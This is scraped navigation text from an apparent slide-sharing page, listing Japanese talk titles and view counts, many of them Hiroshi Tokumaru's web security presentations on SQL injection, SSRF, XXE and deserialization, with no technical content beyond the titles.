ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
Hiroh Satoh49.2K views
サーバーレスのアーキテクチャパターンとそれぞれの実装・テストの勘所 by 真吾 吉田
サーバーレスのアーキテクチャパターンとそれぞれの実装・テストの勘所サーバーレスのアーキテクチャパターンとそれぞれの実装・テストの勘所
サーバーレスのアーキテクチャパターンとそれぞれの実装・テストの勘所
真吾 吉田16.6K views
【JJUG CCC 2016 Fall 公開版】ドメイン駆動設計とscala 〜既存プロジェクトへの適用〜 by Fumiyasu Sumiya
【JJUG CCC 2016 Fall 公開版】ドメイン駆動設計とscala 〜既存プロジェクトへの適用〜【JJUG CCC 2016 Fall 公開版】ドメイン駆動設計とscala 〜既存プロジェクトへの適用〜
【JJUG CCC 2016 Fall 公開版】ドメイン駆動設計とscala 〜既存プロジェクトへの適用〜
Fumiyasu Sumiya2.1K views
G-Tech2015 Hadoop/Sparkを中核としたビッグデータ基盤_20151006 by Cloudera Japan
G-Tech2015 Hadoop/Sparkを中核としたビッグデータ基盤_20151006G-Tech2015 Hadoop/Sparkを中核としたビッグデータ基盤_20151006
G-Tech2015 Hadoop/Sparkを中核としたビッグデータ基盤_20151006
Cloudera Japan2.1K views
クリスマスを支える俺たちとJava(JJUG CCC 2015 Spring AB4) by Koichi Sakata
クリスマスを支える俺たちとJava(JJUG CCC 2015 Spring AB4)クリスマスを支える俺たちとJava(JJUG CCC 2015 Spring AB4)
クリスマスを支える俺たちとJava(JJUG CCC 2015 Spring AB4)
Koichi Sakata6.5K views

More from Hiroshi Tokumaru

SPAセキュリティ入門~PHP Conference Japan 2021 by
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021Hiroshi Tokumaru
99.5K views107 slides
ウェブセキュリティのありがちな誤解を解説する by
ウェブセキュリティのありがちな誤解を解説するウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説するHiroshi Tokumaru
5.3K views64 slides
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する by
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証するHiroshi Tokumaru
1.8K views27 slides
SQLインジェクション再考 by
SQLインジェクション再考SQLインジェクション再考
SQLインジェクション再考Hiroshi Tokumaru
1.1K views31 slides
徳丸本VMに脆弱なWordPressを導入する by
徳丸本VMに脆弱なWordPressを導入する徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入するHiroshi Tokumaru
821 views8 slides
introduction to unsafe deserialization part1 by
introduction to unsafe deserialization part1introduction to unsafe deserialization part1
introduction to unsafe deserialization part1Hiroshi Tokumaru
515 views19 slides

More from Hiroshi Tokumaru(20)

SPAセキュリティ入門~PHP Conference Japan 2021 by Hiroshi Tokumaru
SPAセキュリティ入門~PHP Conference Japan 2021SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru99.5K views
ウェブセキュリティのありがちな誤解を解説する by Hiroshi Tokumaru
ウェブセキュリティのありがちな誤解を解説するウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説する
Hiroshi Tokumaru5.3K views
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する by Hiroshi Tokumaru
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
Hiroshi Tokumaru1.8K views
SQLインジェクション再考 by Hiroshi Tokumaru
SQLインジェクション再考SQLインジェクション再考
SQLインジェクション再考
Hiroshi Tokumaru1.1K views
徳丸本VMに脆弱なWordPressを導入する by Hiroshi Tokumaru
徳丸本VMに脆弱なWordPressを導入する徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入する
Hiroshi Tokumaru821 views
introduction to unsafe deserialization part1 by Hiroshi Tokumaru
introduction to unsafe deserialization part1introduction to unsafe deserialization part1
introduction to unsafe deserialization part1
Hiroshi Tokumaru515 views
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方 by Hiroshi Tokumaru
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
Hiroshi Tokumaru2.7K views
XXE、SSRF、安全でないデシリアライゼーション入門 by Hiroshi Tokumaru
XXE、SSRF、安全でないデシリアライゼーション入門XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門
Hiroshi Tokumaru3.6K views
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題 by Hiroshi Tokumaru
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
Hiroshi Tokumaru27.3K views
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019) by Hiroshi Tokumaru
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
Hiroshi Tokumaru9.6K views
Railsエンジニアのためのウェブセキュリティ入門 by Hiroshi Tokumaru
Railsエンジニアのためのウェブセキュリティ入門Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門
Hiroshi Tokumaru23.9K views
安全なWebアプリケーションの作り方2018 by Hiroshi Tokumaru
安全なWebアプリケーションの作り方2018安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018
Hiroshi Tokumaru30.1K views
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう by Hiroshi Tokumaru
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみようデバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
Hiroshi Tokumaru30.4K views
若手エンジニアのためのセキュリティ講座 by Hiroshi Tokumaru
若手エンジニアのためのセキュリティ講座若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座
Hiroshi Tokumaru31.8K views
ウェブセキュリティの常識 by Hiroshi Tokumaru
ウェブセキュリティの常識ウェブセキュリティの常識
ウェブセキュリティの常識
Hiroshi Tokumaru31.4K views
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則 by Hiroshi Tokumaru
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
Hiroshi Tokumaru71.5K views
ウェブアプリケーションセキュリティ超入門 by Hiroshi Tokumaru
ウェブアプリケーションセキュリティ超入門ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門
Hiroshi Tokumaru48.4K views
ウェブセキュリティの最近の話題早分かり by Hiroshi Tokumaru
ウェブセキュリティの最近の話題早分かりウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かり
Hiroshi Tokumaru71.5K views
セキュリティの都市伝説を暴く by Hiroshi Tokumaru
セキュリティの都市伝説を暴くセキュリティの都市伝説を暴く
セキュリティの都市伝説を暴く
Hiroshi Tokumaru87.2K views

Rails SQL Injection Examplesの紹介